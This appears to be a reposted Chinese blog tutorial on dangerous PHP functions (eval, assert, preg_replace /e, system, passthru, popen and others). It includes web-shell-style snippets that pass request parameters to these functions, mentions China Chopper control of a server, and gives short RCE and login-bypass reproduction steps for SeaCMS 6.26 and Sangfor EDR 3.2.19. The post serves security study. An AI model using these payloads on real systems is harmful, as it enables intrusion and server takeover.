IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> PHP危险函数及漏洞复现 -> 正文阅读

[PHP知识库]PHP危险函数及漏洞复现

危险函数

eval 语句:

eval 会将符合php语法规范字符串当作php代码执行,能够实现简单的一句话木马,列如:

?但这里我们用Feng来进行中国菜刀连接。

连接成功之后如下

能直接对对方服务器进行任何控制,

assert()

assert()同样会将字符串当做PHP 代码来执行。

在网页中通过hackbar来操作,是可以执行系统命令,如下图

?preg_replace()

这个函数的作用是对字符串进行正则匹配后替换,列如下图:

?preg_replace('$c$','C','aabbccdd')中,$c$是对最后字符串中的c进行查找,而'C'则是在查找的基础上将找到的小写c替换成大写C。

?这个函数在当$pattern$处,存在e修饰符时,$reqlacement的值会被当成PHP代码来执行。列如下:

?在上述命令中,\\是一个转义字符,.*则就是当前(也就是括号里)。运行结果如下:

让我们换条命令:

?

<meta charset = "utf-8">
<?php 

//$qwe = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];
//assert($qwe);

//$str = preg_replace('$c$','C','aabbccdd');
$str = preg_replace('=\[(.*)\]=e','$1','[system(ipconfig)]');
echo "替换后结果为:{$str}";
?>

call_user_func()

回调函数 ,一个函数调用另外一个函数。

call_user_func('system','ipconfig');

?第一个参数是被调用函数的函数名,第二个参数是被调用的函数参数。结果如下图:

array_map()

同样也是一个回调函数。

?这里构造函数,通过array_map来调用,在调用的时候array_map会报错

?表示第二给参数应该是个数组,所有需要在第二个函数后加[],来表示。通过hackbar来修改。

$code = empty($_REQUEST['code'])?'assert':$_REQUEST['code'];
$para[] = empty($_REQUEST['para'])?'phpinfo()':$_REQUEST['para'];

array_map($code,$para);

动态函数

OS 命令执行函数

system()能够将字符串作为OS 命令执行

$cmd = empty($_REQUEST['cmd'])?'ipconfig':$_REQUEST['cmd'];
system($cmd);

exec()

函数能将字符串作为OS 命令执行。

?但传参为ipconfig

就只显示最后一行了,

shell_exec()

?相比于shell_exec比exec显示更加全面。

passthru()

将字符串当做系统命令执行。自带输出功能.



$cmd = empty($_REQUEST['cmd'])?'ipconfig':$_REQUEST['cmd'];
passthru($cmd);

?popen()

$cmd = empty($_REQUEST['cmd'])?'whoami':$_REQUEST['cmd'];
$f = popen($cmd, 'r');
echo fread($f, 4096);

?popen的返回结果为打开文件的字节流,相当打开一个文件,当信息放进去。

?

反引号

反引号` 内的字符串,会被解析成OS 命令。

seacms_6.26_rce漏洞浮现

sangfor_edr_3.2.19_rce漏洞浮现

越权

在url后追加user=admin,即可实现任意用户登录。

?

在url? http://*.*.*.*后追加/tool/log/c.php

?在上面url基础上追加?strip_slashes=system&host=whoami

?漏洞复现。

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-10-01 16:36:51  更:2021-10-01 16:37:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 4:12:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计